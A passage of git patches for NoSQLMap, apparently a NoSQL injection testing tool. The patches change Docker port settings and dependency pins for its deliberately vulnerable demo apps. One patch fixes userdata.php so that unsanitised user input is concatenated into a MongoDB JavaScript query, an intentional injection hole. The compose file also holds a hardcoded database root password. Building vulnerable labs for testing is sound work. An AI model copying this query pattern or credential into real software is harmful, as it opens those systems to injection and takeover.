"httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.32.4"], + "requests<2.28"], author = "tcstool", author_email = "codingo@protonmail.com", diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 468c294..32f0553 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,7 +6,7 @@ services: links: - php ports: - - "80:80" + - "8080:80" volumes: - ./src:/usr/local/apache2/htdocs php: From f460d29f8923afd85ee3779dd71ec3600865c688 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 14:58:34 -0800 Subject: [PATCH 206/207] vuln_apps: let user override ports if they like --- vuln_apps/docker-compose.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 32f0553..3572ad4 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,14 +6,14 @@ services: links: - php ports: - - "8080:80" + - "${NOSQLMAP_VULN_APPS_APACHE_PORT:-8080}:80" volumes: - ./src:/usr/local/apache2/htdocs php: container_name: php build: ./docker/php ports: - - "9000:9000" + - "${NOSQLMAP_VULN_APPS_PHP_PORT:-9000}:9000" volumes: - ./src:/usr/local/apache2/htdocs working_dir: /usr/local/apache2/htdocs @@ -24,4 +24,4 @@ services: MONGO_INITDB_ROOT_PASSWORD: prisma build: ./docker/mongo ports: - - "27017:27017" + - "${NOSQLMAP_VULN_APPS_MONGO_PORT:-27017}:27017" From 589a1ae97bc13a205332c32d2bea3f02c989a578 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 15:14:53 -0800 Subject: [PATCH 207/207] userdata.php: fix typo that broke demo. (Found by Claude.) --- vuln_apps/src/userdata.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php index bf74313..11d1216 100644 --- a/vuln_apps/src/userdata.php +++ b/vuln_apps/src/userdata.php @@ -11,7 +11,7 @@ $conn = new MongoClient('mongodb://127.0.0.1'); $db = $conn->appUserData; $collection = $db->users; - $search = $_GET['usersearch']; + $usersearch = $_GET['usersearch']; $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; print $js; print '
'; @@ -45,4 +45,4 @@ - \ No newline at end of file +